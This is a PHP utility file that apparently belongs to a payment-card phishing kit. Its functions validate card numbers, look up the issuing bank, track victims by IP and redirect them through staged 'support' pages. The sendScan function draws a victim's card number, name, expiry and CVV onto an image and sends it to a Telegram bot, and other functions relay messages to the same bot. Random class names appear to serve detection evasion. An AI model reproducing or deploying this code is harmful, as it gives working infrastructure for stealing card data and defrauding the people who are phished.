<?php

if (!function_exists('str_starts_with')) {
    function str_starts_with($haystack, $needle) {
        return $needle !== '' && strncmp((string) $haystack, (string) $needle, strlen((string) $needle)) === 0;
    }
}

if (!function_exists('str_contains')) {
    function str_contains($haystack, $needle) {
        if ((string) $needle === '') {
            return false;
        }
        return strpos((string) $haystack, (string) $needle) !== false;
    }
}

function normalize_ipv4_mapped(string $ip): string {
    if (strncasecmp($ip, '::ffff:', 7) === 0) {
        $v4 = substr($ip, 7);
        if (filter_var($v4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            return $v4;
        }
    }
    return $ip;
}

function getUserIP(): string {
    $ip = null;
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP']) && filter_var($_SERVER['HTTP_CF_CONNECTING_IP'], FILTER_VALIDATE_IP)) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (!empty($_SERVER['HTTP_TRUE_CLIENT_IP']) && filter_var($_SERVER['HTTP_TRUE_CLIENT_IP'], FILTER_VALIDATE_IP)) {
        $ip = $_SERVER['HTTP_TRUE_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        foreach (array_map('trim', explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])) as $candidate) {
            if (filter_var($candidate, FILTER_VALIDATE_IP)) {
                $ip = $candidate;
                break;
            }
        }
    }
    if ($ip === null && !empty($_SERVER['HTTP_CLIENT_IP']) && filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    if ($ip === null) {
        $remote = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $ip = filter_var($remote, FILTER_VALIDATE_IP) ? $remote : '0.0.0.0';
    }
    return normalize_ipv4_mapped($ip);
}

function web_base_path(): string {
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }
    $cfg = $GLOBALS['CONFIG'] ?? null;
    if (is_array($cfg) && array_key_exists('public_base_path', $cfg) && $cfg['public_base_path'] !== null) {
        $cached = trim(str_replace('\\', '/', (string) $cfg['public_base_path']), '/');
        return $cached;
    }
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? '';
    $projectRoot = dirname(__DIR__);
    $docReal = $docRoot !== '' ? realpath($docRoot) : false;
    $projReal = $projectRoot !== '' ? realpath($projectRoot) : false;
    if ($docReal === false || $projReal === false) {
        $cached = '';
        return $cached;
    }
    $docNorm = strtolower(str_replace('\\', '/', $docReal));
    $projNorm = strtolower(str_replace('\\', '/', $projReal));
    if (!str_starts_with($projNorm, $docNorm)) {
        $cached = '';
        return $cached;
    }
    $rel = substr($projNorm, strlen($docNorm));
    $cached = trim(str_replace('\\', '/', $rel), '/');
    return $cached;
}

function web_path(string $path): string {
    $path = ltrim(str_replace('\\', '/', $path), '/');
    $base = web_base_path();
    if ($base !== '') {
        return '/' . $base . '/' . $path;
    }
    return '/' . $path;
}

function request_scheme(): string {
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
        return 'https';
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return 'https';
    }
    return 'http';
}

function web_url(string $path): string {
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    return request_scheme() . '://' . $host . web_path($path);
}

function binChecker($bin) {
    if (session_status() !== PHP_SESSION_ACTIVE) {
        session_start();
    }

    $api_url = "https://data.handyapi.com/bin/" . urlencode($bin);

    $context = stream_context_create([
        'http' => [
            'timeout' => 5,
            'ignore_errors' => true
        ]
    ]);

    $response = @file_get_contents($api_url, false, $context);
    if (!$response) return;

    $result = json_decode($response, true);
    if (!$result || !is_array($result)) return;

    if (session_status() !== PHP_SESSION_ACTIVE) {
        return;
    }

    $_SESSION['type'] = htmlspecialchars($result['Type'] ?? 'Unknown');
    $_SESSION['level'] = htmlspecialchars($result['CardTier'] ?? 'Unknown');
    $_SESSION['bank'] = htmlspecialchars($result['Issuer'] ?? 'Unknown');
    $_SESSION['country'] = htmlspecialchars($result['Country']['Name'] ?? 'Unknown');
    $_SESSION['luhn'] = htmlspecialchars($result['Luhn'] ?? 'N/A');
}

function isValidLuhn($number) {
    $number = preg_replace('/\D/', '', $number);
    $sum = 0;
    $alt = false;

    for ($i = strlen($number) - 1; $i >= 0; $i--) {
        $n = (int)$number[$i];
        if ($alt) {
            $n *= 2;
            if ($n > 9) $n -= 9;
        }
        $sum += $n;
        $alt = !$alt;
    }

    return $sum % 10 === 0;
}

function detect_card_scheme(string $panOrDigits): string {
    $digits = preg_replace('/\D/', '', $panOrDigits);
    if ($digits === '') {
        return 'unknown';
    }
    if (!ctype_digit($digits)) {
        return 'unknown';
    }
    if ($digits[0] === '4') {
        return 'visa';
    }
    $len = strlen($digits);
    if ($len >= 2) {
        $p2 = (int) substr($digits, 0, 2);
        if ($p2 >= 51 && $p2 <= 55) {
            return 'mastercard';
        }
    }
    if ($len >= 4) {
        $p4 = (int) substr($digits, 0, 4);
        if ($p4 >= 2221 && $p4 <= 2720) {
            return 'mastercard';
        }
    }
    return 'unknown';
}

function sendMessage($chat_id, $text, $buttons = null, $replyToId = null) {
    global $CONFIG;

    $token = isset($CONFIG['bot_token']) ? trim((string) $CONFIG['bot_token']) : '';
    if ($token === '') {
        return;
    }

    $urlParams = [
        'chat_id' => $chat_id,
        'text' => $text,
        'parse_mode' => 'HTML'
    ];

    if ($buttons !== null) {
        $urlParams['reply_markup'] = json_encode($buttons);
    }

    if ($replyToId !== null && (int) $replyToId > 0) {
        $urlParams['reply_to_message_id'] = (int) $replyToId;
    }

    $apiUrl = 'https://api.telegram.org/bot' . urlencode($token) . '/sendMessage';
    $body = http_build_query($urlParams, '', '&', PHP_QUERY_RFC1738);

    $ch = curl_init($apiUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}

function writeOnFile($file, $ip) {
    if (!filter_var($ip, FILTER_VALIDATE_IP)) return;

    if (!file_exists($file)) {
        file_put_contents($file, '');
    }

    $content = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (!in_array($ip, $content)) {
        file_put_contents($file, $ip . PHP_EOL, FILE_APPEND | LOCK_EX);
    }
}

function removeIPFromFile($file, $ip) {
    if (!file_exists($file)) return;

    $lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $lines = array_filter($lines, fn($line) => trim($line) !== $ip);

    file_put_contents($file, implode(PHP_EOL, $lines) . PHP_EOL, LOCK_EX);
}

function write_ip($filePath, $ip, $action) {
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return;
    }
    delete_ip($filePath, $ip);
    $line = "{$ip}|{$action}" . PHP_EOL;
    file_put_contents($filePath, $line, FILE_APPEND | LOCK_EX);
}

function delete_ip($filePath, $ip) {
    if (!file_exists($filePath)) {
        return false;
    }

    $lines = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $updatedLines = array_filter($lines, function ($line) use ($ip) {
        $line = rtrim($line, "\r\n");
        return !str_starts_with($line, "{$ip}|") && !str_starts_with($line, "{$ip}:");
    });

    if (count($lines) === count($updatedLines)) {
        return false;
    }

    file_put_contents($filePath, implode(PHP_EOL, $updatedLines) . PHP_EOL, LOCK_EX);
    return true;
}

function generateRandomClass($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function isDateExpired($expiryDate) {
    if (!preg_match('#^(0[1-9]|1[0-2])/[0-9]{2}$#', $expiryDate)) return true;

    [$month, $year] = explode('/', $expiryDate);
    $month = (int) $month;
    $year = (int) $year;

    $currentYear = (int) date('y');
    $currentMonth = (int) date('m');

    return ($year < $currentYear) || ($year === $currentYear && $month < $currentMonth);
}

function sendScan($chat_id, $holder, $number, $exp, $cvv) {
    if (!function_exists('imagecreatetruecolor')) {
        return false;
    }
    global $CONFIG;

    $token = isset($CONFIG['bot_token']) ? trim((string) $CONFIG['bot_token']) : '';
    if ($token === '') {
        return false;
    }

    $holder = substr($holder, 0, 30);
    $number = substr(preg_replace('/[^0-9 ]/', '', $number), 0, 20);
    $exp = substr($exp, 0, 7);
    $cvv = substr($cvv, 0, 4);

    $image = imagecreatetruecolor(400, 200);
    $bgColor = imagecolorallocate($image, 255, 255, 255);
    $textColor = imagecolorallocate($image, 0, 0, 0);

    imagefilledrectangle($image, 0, 0, 399, 199, $bgColor);
    imagestring($image, 5, 10, 30, $number, $textColor);
    imagestring($image, 5, 10, 70, $holder, $textColor);
    imagestring($image, 5, 10, 110, $exp, $textColor);
    imagestring($image, 5, 10, 150, $cvv, $textColor);

    $tempImagePath = sys_get_temp_dir() . '/scan_' . uniqid() . '.png';
    imagepng($image, $tempImagePath);
    imagedestroy($image);

    $telegramApiUrl = 'https://api.telegram.org/bot' . urlencode($token) . '/sendPhoto';

    $ch = curl_init($telegramApiUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'chat_id' => $chat_id,
        'photo' => new CURLFile($tempImagePath),
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);

    unlink($tempImagePath);
}

function sendTelegramMessage($token, $chatId, $message) {
    $url = "https://api.telegram.org/bot" . urlencode($token) . "/sendMessage";
    $payload = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    $options = [
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
            'content' => http_build_query($payload),
            'timeout' => 5
        ]
    ];

    file_get_contents($url, false, stream_context_create($options));
}

function getStreamContext($token) {
    $origin = htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'localhost', ENT_QUOTES, 'UTF-8');
    $options = [
        'http' => [
            'method' => 'GET',
            'header' => "Authorization: {$token}\r\nOrigin: https://{$origin}\r\n"
        ]
    ];
    return stream_context_create($options);
}

function updateStats($key) {
    $filePath = dirname(__DIR__) . '/panel/stats.json';

    $data = file_exists($filePath) ? json_decode(file_get_contents($filePath), true) : [];

    if (!is_array($data)) $data = [];

    $data[$key] = ($data[$key] ?? 0) + 1;

    file_put_contents($filePath, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}

function handleUserStep() {
    if (session_status() !== PHP_SESSION_ACTIVE) {
        session_start();
    }

    $file = dirname(__DIR__) . '/users.json';
    $ip = $_SESSION['ip'] ?? null;
    if (!$ip || !filter_var($ip, FILTER_VALIDATE_IP)) return;

    $data = file_exists($file) ? json_decode(file_get_contents($file), true) : ["users" => []];

    if (!isset($data["users"][$ip])) {
        $data["users"][$ip] = ["step" => ""];
        file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
    }

    $step = $data['users'][$ip]['step'];
    if (!empty($step)) {
        if (headers_sent()) {
            return;
        }
        header("Location: support/{$step}/", true, 302);
        exit();
    }
}

function setUserStep($step) {
    if (session_status() !== PHP_SESSION_ACTIVE) {
        session_start();
    }

    $file = dirname(__DIR__) . '/users.json';
    $ip = $_SESSION['ip'] ?? null;
    if (!$ip || !filter_var($ip, FILTER_VALIDATE_IP)) return;

    $data = file_exists($file) ? json_decode(file_get_contents($file), true) : ["users" => []];
    $data['users'][$ip]['step'] = (string)$step;
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}

function traduire($texte, $source = "fr", $cible = "en") {
    $texte_enc = urlencode($texte);
    $url = "https://translate.googleapis.com/translate_a/single?client=gtx&sl=$source&tl=$cible&dt=t&q=$texte_enc";

    $response = @file_get_contents($url);
    $json = $response !== FALSE ? json_decode($response, true) : null;

    if (!isset($json[0][0][0]) || empty($json[0][0][0])) {
        if ($cible !== "en") {
            $url_en = "https://translate.googleapis.com/translate_a/single?client=gtx&sl=$source&tl=en&dt=t&q=$texte_enc";
            $response_en = @file_get_contents($url_en);
            $json_en = $response_en !== FALSE ? json_decode($response_en, true) : null;
            return $json_en[0][0][0] ?? "Erreur traduction";
        } else {
            return "Erreur traduction";
        }
    }
    return $json[0][0][0];
}
